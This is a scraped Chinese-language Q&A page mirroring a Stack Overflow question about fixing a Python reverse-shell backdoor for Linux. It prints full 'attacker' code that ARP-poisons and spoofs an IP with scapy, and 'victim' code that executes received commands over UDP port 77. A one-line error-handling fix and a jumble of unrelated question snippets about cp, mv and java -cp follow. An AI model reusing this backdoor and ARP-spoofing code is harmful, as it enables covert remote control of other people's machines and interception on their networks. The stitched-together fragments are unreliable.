- android - 多次调用 OnPrimaryClipChangedListener
- android - 无法更新 RecyclerView 中的 TextView 字段
- android.database.CursorIndexOutOfBoundsException : Index 0 requested, 光标大小为 0
- android - 使用 AppCompat 时,我们是否需要明确指定其 UI 组件(Spinner、EditText)颜色
为了好玩,我正在为 Linux 后门创建一个反向 shell,并且我让它工作到一定程度。大多数命令的工作方式类似于“cd”、“ifconfig”和“ls”。但是像“cp”和“rm”这样的命令在受害者计算机上工作,但我这边(攻击者)没有得到任何输出,当我尝试“rm”或“cp”时出现这个错误:
你们能帮我尝试解决这个问题吗?我知道 cp 实际上并没有输出任何东西,我的程序需要一个输出。即使我最终收到此错误,当我查看受害者时,我仍然可以看到操作(cp 或 rm)正在执行。另一种选择是每当我遇到此错误时,我都可以让我的程序再次提示输入命令。
任何帮助都会生病!
攻击者代码:
import sys
import socket
import threading
import time
from logging import getLogger, ERROR
from scapy.all import *
getLogger('scapy.runtime').setLevel(ERROR)
try:
victimIP = raw_input('Enter victim IP: ')
spoofIP = raw_input('Enter IP you want to spoof: ')
IF = raw_input('Enter network interface: ')
except KeyboardInterrupt:
print '[!] User Interrupted Input'
sys.exit(1)
conf.verb = 0
def getMAC():
try:
pkt = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = victimIP), timeout = 2, iface = IF, inter = 0.1)
except Exception:
print '[!] Failed to Resolve Victim MAC Address'
sys.exit(1)
for snd, rcv in pkt[0]:
return rcv.sprintf(r"%Ether.src%")
print '\n[*] Resolving Victim MAC Address... '
victimMAC = getMAC()
spoofStatus = True
def poison():
while 1:
if spoofStatus == False:
break
return
send(ARP(op=2, pdst=victimIP, psrc=spoofIP, hwdst=victimMAC))
time.sleep(5)
print '\n[*] Starting Spoofer Thread...'
thread = []
try:
poisonerThread = threading.Thread(target=poison)
thread.append(poisonerThread)
poisonerThread.start()
print '[*] Thread Started Successfully\n'
except Exception:
print '[!] Failed to Start Thread'
sys.exit(1)
print 'Initializing connection with victim...'
pkt1 = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load='hello victim'))
pkt2 = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load='report'))
prompt = pkt2.getlayer(Raw).load
print 'Initialization Complete'
print '[*] Enter "goodbye" to Stop Connection\n'
while 1:
command = raw_input(prompt)
sendcom = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load=command))
output = sendcom.getlayer(Raw).load
if command.strip() == 'goodbye':
print '\nGrabbing Threads...'
spoofStatus = False
poisonerThread.join()
sys.exit(1)
print output
受害者代码:
import socket
import os
import sys
import platform
def launch():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('', 77))
launch = s.recvfrom(1024)
addr = launch[1][0]
port = launch[1][1]
s.sendto('hello paul', (addr, port))
return s, addr, port
s, addr, port = launch()
def getsysinfo():
que = s.recvfrom(1024)
prompt = []
if que[1][0] == addr and que[1][1] == port:
if os.getuid() == 0:
prompt.append('root@')
prompt.append('# ')
else:
prompt.append('user@')
prompt.append('$ ')
prompt.insert(1, platform.dist()[0])
s.sendto(''.join(prompt), (addr, port))
return
getsysinfo()
def shell():
while 1:
try:
command = s.recv(1024)
if command.strip().split()[0] == 'cd':
os.chdir(command.strip('cd '))
s.sendto('Changed Directory', (addr, port))
elif command.strip() == 'goodbye':
s.sendto('Goodbye paul', (addr, port))
s.close()
break
else:
proc = os.popen(command)
output = ''
for i in proc.readlines():
output += i
output = output.strip()
s.sendto(output, (addr, port))
except Exception:
s.sendto('An unexpected error has occured', (addr, port))
pass
shell()
最佳答案
我通过添加这段代码修复了它:
try:
output = sendcom.getlayer(Raw).load
except AttributeError:
continue
关于python - 如何在反向 shell 中处理 rm 和 cp 命令,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/49481048/
我想知道是否有一个相同的命令可以像使用旧的 MS-DOS 一样将文件夹复制到当前目录。假设我当前的目录位置是: /var/www/ 我有文件夹和文件: /home/hope/subfolder/doc
已关闭。此问题不符合Stack Overflow guidelines 。目前不接受答案。 这个问题似乎不是关于 a specific programming problem, a software
我有一个项目,其中一个目录最初(数百次提交前)是从另一个目录逐字复制的,但是没有使用 svn cp 所以历史上有一个断开连接。现在是否可以在初始复制点连接两个目录,还是为时已晚? 最佳答案 让我猜猜你
我一直在寻找一种方法来 cp 文件并同时将其权限修改为 400...在 public_html 文件夹中进行了一些测试之后... public_html >> ls -lah -rw-r--r--
如果lib/目录下只包含.jar文件,有什么区别 java -cp "lib/*" ... 和 java -cp "lib/*.jar" ... 如果我使用后者,我会遇到关于主类的错误,我不明白为什么
我注意到 javac 和 java 选项的大小写敏感性似乎有所不同。例如: 区分大小写的 javac 命令选项? -cp Yes -sourcepath Yes -d
我以前从来没有遇到过这个问题,当我去运行 Java 程序(在终端中)时,我会简单地说, java className 然后程序就会运行。但是最近当我尝试这个时我得到了错误, could not
我有两个问题: 为什么 javac -cp 不需要 .? $ javac -cp /home/t/programs/java/test/junit-4.11.jar TestCase.java 为什么
根据 Linux 中的管道方法,第一个命令的输出应该被视为第二个命令的输入。所以当我在做 which cp | ls -l,应该当作ls -l $(which cp) 但输出显示的是其他内容。 为什么
有什么区别 cp -R source_path target_path 对比 cp -R source_path/* target_path 我发现第二个 cmd 在我的 amazon linux 系
根据标准: A copy/move constructor for class X is trivial if it is not user-provided and if — class X has
当我对 grep 执行 ls 时,结果正是我所需要的:dll 列表,见下文: $ ls -R | grep "dll$" boost_chrono-vc90-gd-1_47.dll boost_c
出于工作需要,使用aws Java SDK实现“aws s3 cp”命令会很方便。 有现成的类,例如TransferManager,AmazonS3Client有get方法。他们可以轻松地将文件下载到
背景 我有两个图像文件夹...文件夹一是包含数千张彩色图像的主文件夹。文件夹二是一个经过过滤的文件夹,其中包含我一直在整个文件夹一中寻找的内容,但文件夹二中的图像是黑白的。 特别说明 – 文件夹二中的
大家好,我正在使用 GCE,现在我是存储桶的新手。我的另一个桶上有很多照片。我尝试将其复制为 sudo gsutil cp -R dir dir 我花了 30 分钟仍未完成文件复制,所以我尝试了使用
我正在尝试从命令行编译并运行程序。当我们编译它时,我们执行 -cp 并将其链接到我们的 jdbc jar。 javac -cp jdbc.jar *.java 如果我们这样做: java调试器 然后我
我正在编写一个脚本来设置 debian 安装,这个错误让我很沮丧: 问题: cp "$BASHRC" "$HOME"/.bashrc 给出: + sudo -u billy bash cp: cann
#!/bin/bash # Make a txt copy of any html files for value in $1/*.html do if [[ $value == *.
我有一个大文件正在移动。实验室中的正常协议(protocol)是将其复制到某处,然后将其删除。 我决定改成mv。 我的问题是,为什么 mv 比 cp 快这么多? 为了测试它,我生成了一个 2.7 GB
我有一个大文件正在移动。实验室中的正常协议(protocol)是将其复制到某处,然后将其删除。 我决定改成mv。 我的问题是,为什么 mv 比 cp 快这么多? 为了测试它,我生成了一个 2.7 GB
我是一名优秀的程序员,十分优秀!